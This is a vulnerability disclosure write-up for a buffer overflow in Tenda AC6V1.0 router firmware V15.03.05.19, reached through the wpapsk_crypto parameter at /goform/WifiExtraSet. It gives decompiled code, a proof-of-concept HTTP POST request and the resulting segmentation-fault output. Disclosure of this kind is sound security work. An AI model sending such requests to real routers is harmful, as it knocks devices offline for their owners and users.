

main

...

CVE-vulns / tenda\_ac6 / fromSetWirelessRepeat / fromSetWirelessRepeat.md

Haizhen Qi(祁海珍) add

History

0 contributors

45 lines (30 sloc) | 1.52 KB

# Tenda AC6V1.0 V15.03.05.19 was discovered to contain a buffer overflow via the wpapsk\_crypto parameter in the fromSetWirelessRepeat function.

## Description

Tenda Router AC6V1.0 V15.03.05.19 was discovered to contain a buffer overflow in the httpd module when handling /goform/WifiExtraSet request.

## Firmware information

- Manufacturer's address: <https://www.tenda.com.cn/>
- Firmware download address : <https://www.tenda.com.cn/download/detail-2681.html>

## Affected version

AC6V1.0升级软件 **V15.03.05.19**

立即下载

关联产品: AC6v1.0 更新日期: 2017/5/27

- 1.此固件只适用于AC6V1.0的机器升级，不同型号不同硬件版本不能使用该软件，升级前请通过路由器底部贴纸确认产品型号和版本（如下图所示）；
- 2.修复部分bug;
- 3.增强设备安全;
- 4.升级方法：使用tendawifi.com登录到路由器管理界面，打开系统管理--软件升级--点击本地升级，浏览到下载解压后的“.bin”的文件，点击确定即可升级；
- 5.升级过程中切勿切断电源，否则会导致路由器损坏而无法使用！软件升级完成后需要将路由器恢复出厂设置并重新设置上网！



AC6V1.0:电源输入是12V-1A



AC6V2.0:电源输入是9V-1A

\* 如果链接错误或其他问题，请反馈到 [tenda@tenda.com.cn](mailto:tenda@tenda.com.cn)或联系在线客服，谢谢。

## Vulnerability details

This vulnerability lies in the /goform/WifiExtraSet page, The details are shown below:

```

    if ( strcmp(v38, "wpapsk") )
    {
        v58 = 1;
        goto LABEL_121;
    }
    wpapsk_type_value = (char *)get_value_from_web(a1, (int)"wpapsk_type", (int)"wpa&wpa2");
    wpapsk_crypto_value = (char *)get_value_from_web(a1, (int)"wpapsk_crypto", (int)"aes");
    wpapsk_key_value = (char *)get_value_from_web(a1, (int)"wpapsk_key", (int)&unk_EC01C);
    if ( !"wpapsk_key_value" && strlen(wpapsk_key_value) <= 7 )
    {
        v58 = 1;
        goto LABEL_121;
    }
    if ( !strcmp(wpapsk_type_value, "wpa") )
    {
        strcpy(v11, "psk");
    }
    else if ( !strcmp(wpapsk_type_value, "wpa2") )
    {
        strcpy(v11, "psk2");
    }
    else
    {
        strcpy(v11, "psk psk2");
    }
    if ( !strcmp(wpapsk_crypto_value, "tkip&aes") )
        strcpy(v10, "tkip+aes");
    else
        strcpy(v10, wpapsk_crypto_value);
    SetValue("w15g.extra.wpapsk_type", v11);
    SetValue("w15g.extra.wpapsk_crypto", v10);
    SetValue("w15g.extra.wpapsk_psk", wpapsk_key_value);
}
}

```

## POC

This POC can result in a Dos.

```

POST /goform/WifiExtraSet HTTP/1.1
Host: 192.168.204.133
Content-Length: 247
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.204.133
Referer: http://192.168.204.133/parental_control.html?random=0.7058891673130268&
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: password=iqb1qw; bLanguage=cn
Connection: close

wifi_chkHz=1&w1_mode=wisp&w1_enbale=1&country_code=CN&wpsEn=0&guestEn=0&iptvEn=0&wifiTimerEn=1&smartSaveEn=1&dmzEn=1&handset=0&ssid=f

```



```

Connect to server failed.
Unsupported setsockopt level=1 optname=13
Segmentation fault (core dumped)

```